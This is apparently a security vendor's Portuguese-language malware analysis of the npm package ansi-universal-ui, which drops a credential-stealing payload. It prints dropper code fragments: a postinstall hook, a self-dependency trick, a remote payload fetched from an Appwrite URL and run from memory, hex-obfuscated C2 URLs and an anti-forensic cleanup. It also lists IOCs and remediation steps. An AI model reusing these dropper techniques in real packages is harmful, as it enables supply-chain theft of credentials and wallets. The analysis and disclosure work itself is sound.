Às 08:46 UTC de 23 de janeiro de 2026, nosso sistema de detecção de malware sinalizou um pacote chamado ansi-universal-ui. O nome soa como uma biblioteca de componentes de UI entediante. A descrição até diz que é "um sistema de componentes de UI leve e modular para aplicações web modernas." Muito profissional. Muito normal. Exceto que não é.
O que encontramos é um infostealer sofisticado e multiestágio que baixa seu próprio runtime Python, executa um payload fortemente ofuscado e exfiltra suas credenciais de navegador, carteiras de criptomoedas, credenciais de Cloud e tokens do Discord para um bucket de armazenamento Appwrite. Ele também carrega uma DLL do Windows incorporada que é injetada em processos de navegador usando APIs nativas do NT. O malware se autodenomina "G_Wagon" internamente, presumivelmente porque os autores têm um gosto caro.
Observando um Ataque se Desenvolver em Tempo Real
Este é interessante porque podemos ver todo o processo de desenvolvimento. O atacante publicou 10 versões ao longo de dois dias, e cada versão conta parte da história.
Dia 1 (21 de janeiro) - Testando a infraestrutura do dropper:
- v1.0.0 (15:54 UTC): Estrutura inicial usando o módulo tar do npm
- v1.2.0 (16:03 UTC): Mudou para tar do sistema, primeira autodepêndencia
- v1.3.2 (16:09 UTC): Adicionado hook postinstall (ainda sem payload)
- v1.3.3 (16:18 UTC): Corrigido um bug de redirecionamento
Dia 2 (23 de janeiro) - Armamentação:
- v1.3.5 (08:46 UTC): Adicionada URL de C2, branding falso, removido placeholder
- v1.3.6 (08:53 UTC): Reativada autodepêndencia para execução dupla
- v1.3.7 (09:09 UTC): Adicionadas anti-forensics, mensagens de log sanitizadas
- v1.4.0 (12:27 UTC): Mudou para C2 de Frankfurt, payload agora é canalizado via stdin (nunca toca o disco)
- v1.4.1 (12:48 UTC): Adicionada ofuscação, strings codificadas em hexadecimal, classe de UI isca
- v1.4.2 (13:06 UTC): Correção de bug (v1.4.1 quebrou o caminho do Python)
O atacante está iterando ativamente. Enquanto escrevíamos esta publicação, eles lançaram mais três versões.
A Fase de Testes
As versões iniciais (1.0.0 através de 1.3.3) todos continham um arquivo chamado py.py com este conteúdo:
print("código python executado!")É isso. Apenas um placeholder para testar se a cadeia de execução funcionou. O atacante estava construindo a infraestrutura.
Na v1.2.0, eles fizeram uma mudança interessante. Removeram a dependência `npm tar` e passaram a executar o comando `tar` do sistema diretamente:
- const tar = require('tar');
+ const https = require('https');
- const extract = tar.x({ cwd: CACHE_DIR });
- response.body.pipe(extract);
+ const tarProcess = spawn('tar', ['-x', '-f', '-', '-C', CACHE_DIR]);
+ res.pipe(tarProcess.stdin);Por quê? Menos dependências npm significam menos superfície para detecção. Também significa que o pacote funciona sem instalar nada do npm.
Mas eles introduziram um bug. O tratamento de redirecionamento não funcionou de fato:
if (res.statusCode === 302 || res.statusCode === 301) {
downloadAndExtract().then(resolve).catch(reject); // BUG: forgot to pass the URL!
return;
}
Eles corrigiram isso na v1.3.3:
if (res.statusCode === 302 || res.statusCode === 301) {
const newUrl = res.headers.location;
downloadAndExtract(newUrl).then(resolve).catch(reject); // Fixed
return;
}
É por isso que vemos a lacuna de versão entre 1.3.3 e 1.3.5. Eles testaram, encontraram o bug, corrigiram, verificaram que funcionava e, dois dias depois, voltaram para transformá-lo em arma.
A Exploração
A versão 1.3.5 é onde tudo muda. Vamos analisar o `diff` principal:
- const SCRIPT_PATH = path.join(__dirname, 'py.py');
+ const REMOTE_SCRIPT_URL = "https://nyc.cloud.appwrite.io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab";
+ const LOCAL_SCRIPT_PATH = path.join(CACHE_DIR, 'latest_script.py');Em vez de executar o placeholder local, ele agora baixa o payload de um bucket de armazenamento do Appwrite.
Eles também adicionaram um comentário revelador que foi removido na versão final:
// console.log("Fetching latest logic..."); // Uncomment if you want them to see thisO atacante estava claramente pensando em segurança operacional.
O Branding Falso
A versão 1.3.5 também adicionou legitimidade. O `package.json` mudou de:
{
"description": "A cross-platform tool powered by Python"
}
Para:
{
"description": "A lightweight, modular UI component system for modern web applications. Provides a responsive design engine and universal style primitives.",
"keywords": ["ui", "design-system", "components", "framework", "frontend", "css-in-js"],
"author": "Universal Design Team",
"license": "MIT"
}
Eles adicionaram uma README.md cheia de buzzwords:
Universal UI é uma biblioteca de primitivas de componentes declarativa projetada para renderização de interface de alto desempenho. Ela fornece uma camada unificada para gerenciar estados visuais, temas e sistemas de layout em arquiteturas de aplicativos modernas.
E o meu favorito pessoal:
Virtual Rendering Engine: Algoritmo de diff otimizado que garante transições suaves e repaints mínimos durante as mudanças de estado.
Nada disso é real. Não existe ThemeProvider. Não existe Virtual Rendering Engine. Há apenas malware.
O Artifício da Autodependência
Veja o package.json da v1.3.7:
{
"scripts": {
"postinstall": "node index.js"
},
"dependencies": {
"ansi-universal-ui": "^1.3.5"
}
}
O pacote depende de si mesmo. A versão 1.3.7 requer a versão ^1.3.5. Quando o npm instala o pacote, ele executa o hook de postinstall. Em seguida, ele instala a dependência (uma versão mais antiga de si mesmo), que executa o hook de postinstall novamente. Execução dupla.
Curiosamente, eles removeram isso na v1.3.5 e o readicionaram na v1.3.6. Provavelmente testando se isso causava problemas.
A Antiforense
A versão 1.3.7 adicionou código de limpeza para deletar o payload após a execução:
child.on('close', (code) => {
try {
if (fs.existsSync(LOCAL_SCRIPT_PATH)) {
fs.unlinkSync(LOCAL_SCRIPT_PATH);
}
} catch (cleanupErr) {
// Ignore cleanup errors
}
process.exit(code);
});
Eles também higienizaram as mensagens de log:
- console.log("Setting up Python environment...");
+ console.log("Initializing UI runtime...");"Setting up Python environment" é suspeito. "Initializing UI runtime" soa como uma biblioteca de UI legítima fazendo coisas de biblioteca de UI.
Ainda em Evolução: v1.4.x
Enquanto analisávamos este malware, o atacante lançou mais duas versões. Eles estão aprendendo.
v1.4.0 introduziu uma mudança fundamental: o payload Python não toca mais o disco. Em vez de baixar para um arquivo e executá-lo, o dropper agora busca Python codificado em base64 do C2, o decodifica na memória e o redireciona diretamente para python - via stdin:
e
const b64Content = await downloadString(REMOTE_B64_URL);
const pythonCode = Buffer.from(b64Content.trim(), 'base64').toString('utf-8');
const child = spawn(LOCAL_PYTHON_BIN, ['-'], { stdio: ['pipe', 'inherit', 'inherit'] });
child.stdin.write(pythonCode);
child.stdin.end();Nenhum arquivo para deletar. Nenhum artefato deixado para trás.
A v1.4.1 foi além na ofuscação. A URL do C2 agora é dividida em blocos codificados em hexadecimal:
const _ui_assets = [
"68747470733a2f2f6672612e636c6f75642e61707077726974652e696f2f...",
"3639363865613536303033313663313238663232",
"2f66696c65732f",
"363937333638333830303333343933353735373..."
];
const _gfx_src = _ui_assets.map(s => Buffer.from(s, 'hex').toString()).join('');Eles também adicionaram uma classe isca para fazer o código parecer uma biblioteca de UI real:
class LayoutCompute {
constructor() { this.matrix = new Float32Array(16); this.x = 0; }
mount(v) { return (v << 2) ^ 0xAF; }
sync() { this.x = Math.sin(Date.now()) * 100; return this.x > 0; }
}
Os diretórios foram renomeados de python_runtime para lib_core/renderer. Variáveis como pythonCode tornaram-se _texture_data. A função setupPython tornaram-se _init_layer. Tudo agora soa como código de renderização gráfica.
Eles também mudaram exclusivamente para o servidor C2 de Frankfurt, abandonando o endpoint de NYC.
A v1.4.2 surgiu 18 minutos depois. Eles quebraram algo. O comentário no código diz tudo:
// FIXED: Changed 'renderer' back to 'python' (hex encoded) so it matches the tarball structure
Em v1.4.1, eles renomearam o diretório para renderer para ofuscação estética, mas o tarball Python é extraído para uma pasta chamada python. Ops. O malware não teria funcionado. v1.4.2 corrige isso mantendo a codificação hexadecimal.
Estágio 2: G_Wagon Stealer
O payload Python é onde as coisas ficam interessantes. O código é ofuscado com nomes de variáveis de uma única letra e constantes de string, mas a funcionalidade fica clara depois de analisá-lo.
A primeira coisa que o malware faz é verificar a existência de um arquivo chamado .gwagon_status no seu diretório home. Este arquivo contém um contador. Se você já foi infectado duas vezes, ele para de ser executado. Não há necessidade de roubar os mesmos dados repetidamente.
Então ele começa a trabalhar.
Credenciais de Navegador: O stealer tem como alvo Chrome, Edge e Brave, tanto no Windows quanto no macOS. No Windows, ele encerra os processos do navegador, inicia uma nova instância com o Chrome DevTools Protocol ativado e extrai todos os cookies. Ele também descriptografa senhas salvas usando a Windows Data Protection API. No macOS, ele extrai a chave de criptografia do Keychain e usa o OpenSSL para descriptografar os dados de login.
Carteiras de Criptomoedas: Este é o verdadeiro prêmio. O malware tem como alvo mais de 100 extensões de carteira de navegador. MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Ledger Live, Trezor, Exodus e dezenas mais. Ele copia todo o diretório de dados da extensão para cada carteira que encontra.
A lista completa inclui carteiras para Ethereum, Solana, Cosmos, Polkadot, Cardano, TON, Bitcoin Ordinals e praticamente todos os ecossistemas de blockchain que você pode imaginar.
Credenciais de Cloud: Se você já configurou o AWS CLI, Azure CLI ou Google Cloud SDK em sua máquina, o malware copia seus arquivos de credenciais. O mesmo vale para chaves SSH e seu kubeconfig. Toda a sua infraestrutura de Cloud, potencialmente acessível com um único arquivo zip.
Tokens de Mensagens: O roubo de tokens do Discord tem sido um pilar do malware npm por anos, e o G_Wagon não decepciona. Ele também captura o tdata diretório e arquivos de autenticação do Steam.
A Exfiltração
Todos os dados roubados são compactados e enviados para o bucket Appwrite do atacante. Os nomes dos arquivos seguem um padrão: {username}@{hostname}_{browser}_{profile}_{original_file}.
O malware possui dois servidores C2 configurados:
- Primário:
nyc.cloud.appwrite[.]io(ID do Projeto:6886229e003d46469fab) - Backup:
fra.cloud.appwrite[.]io(ID do Projeto:6968e9e9000ee4ac710c)
Para arquivos grandes, ele divide os dados em pedaços de 5MB e os envia sequencialmente. Arquivos com mais de 50MB são divididos em partes de 45MB. Os autores claramente planejaram para vítimas com muitos dados valiosos.
Injeção de DLL
Há mais um detalhe que faz este stealer se destacar. O código Python contém um grande blob codificado em base64 - uma DLL do Windows criptografada com XOR.
c='+qmQZ9cVqpo....==' # Ocultado para brevidade - o blob real é muito maiorO código decodifica isso em base64, o descriptografa com XOR usando uma chave fixa e, em seguida, o injeta em processos de navegador usando APIs nativas do NT: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, e NtCreateThreadEx.
O malware inclui um parser PE completo que percorre a tabela de exportação procurando por uma função chamada "Inicializar" - esse é o ponto de entrada que ele chama após a injeção.
Remediação e Detecção
Se você instalou ansi-universal-ui, aqui está o que você precisa fazer imediatamente:
- Remova o pacote do seu projeto e exclua node_modules
- Verifique a existência do
.gwagon_statusarquivo no seu diretório home (se existir, você provavelmente foi infectado) - Gire todas as senhas salvas no navegador
- Revogue e regenere os tokens para quaisquer carteiras de criptomoedas que foram instaladas como extensões de navegador (considere-as comprometidas)
- Gire as credenciais AWS/Azure/GCP se você usa essas CLIs
- Regenere as chaves SSH
- Invalide as sessões do Discord e Telegram
Como saber se você foi afetado usando o Aikido:
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. A vulnerabilidade será apresentada como um problema crítico 100/100 no feed. Dica: Aikido reanalisa seus repositórios todas as noites, embora recomendemos acionar uma reanálise completa também.
Se você ainda não é um usuário Aikido, crie uma conta e conecte seus repositórios. Nossa cobertura proprietária de malware está incluída no plano gratuito (não é necessário cartão de crédito).
Para proteção futura, considere usar o Aikido Safe Chain (código aberto), um wrapper seguro para npm, npx, yarn e outros gerenciadores de pacotes. O Safe Chain se integra aos seus fluxos de trabalho atuais. Ele funciona interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes em busca de malware antes da instalação contra o Aikido Intel, nosso feed de Threat Intelligence de Código Aberto. Pare as ameaças antes que atinjam sua máquina.
Indicadores de Comprometimento
Pacote
- Nome:
ansi-universal-ui - Versões maliciosas: 1.3.5, 1.3.6, 1.3.7, 1.4.0, 1.4.1
Hashes de Arquivo (SHA256)
- v1.0.0 index.js:
7de334b0530e168fcf70335aa73a26a0b483e864c415d02980fe5e6b07f6af85 - v1.2.0 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1 - v1.3.2 index.js:
00f1e82321a400fa097fc47edc1993203747223567a2a147ed458208376e39a1(idêntico a v1.2.0) - v1.3.3 index.js:
1979bf6ff76d2adbd394e1288d75ab04abfb963109e81294a28d0629f90b77c7 - v1.3.5 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(MALICIOSO) - v1.3.6 index.js:
ecde55186231f1220218880db30d704904dd3ff6b3096c745a1e15885d6e99cc(idêntico a v1.3.5, MALICIOSO) - v1.3.7 index.js:
eb19a25480916520aecc30c54afdf6a0ce465db39910a5c7a01b1b3d1f693c4c(MALICIOSO) - v1.4.0 index.js:
ff514331b93a76c9bbf1f16cdd04e79c576d8efd0d3587cb3665620c9bf49432(MALICIOSO) - v1.4.1 index.js:
a576844e131ed6b51ebdfa7cd509233723b441a340529441fb9612f226fafe52(MALICIOSO) - py.py (todas as versões):
e25f5d5b46368ed03562625b53efd24533e20cd1d42bc64b1ebf041cacab8941
Nota: v1.3.5 e v1.3.6 são idênticos index.js arquivos (apenas package.json alterado). v1.2.0 e v1.3.2 também são idênticos (apenas adicionado o hook de post-instalação).
Rede
hxxps://nyc.cloud.appwrite[.]io/v1/storage/buckets/688625a0000f8a1b71e8/files/69732d9c000042399d88/view?project=6886229e003d46469fab(v1.3.x)hxxps://fra.cloud.appwrite[.]io/v1/storage/buckets/6968ea5600316c128f22/files/69736838003349357574/view?project=6968e9e9000ee4ac710c(v1.4.x)- ID do Projeto Appwrite (NYC):
6886229e003d46469fab - ID do Projeto Appwrite (FRA):
6968e9e9000ee4ac710c - ID do Bucket Appwrite (NYC):
688625a0000f8a1b71e8 - ID do Bucket Appwrite (FRA):
6968ea5600316c128f22
Sistema de Arquivos
~/.gwagon_status(contador de execução, oculto no Windows)

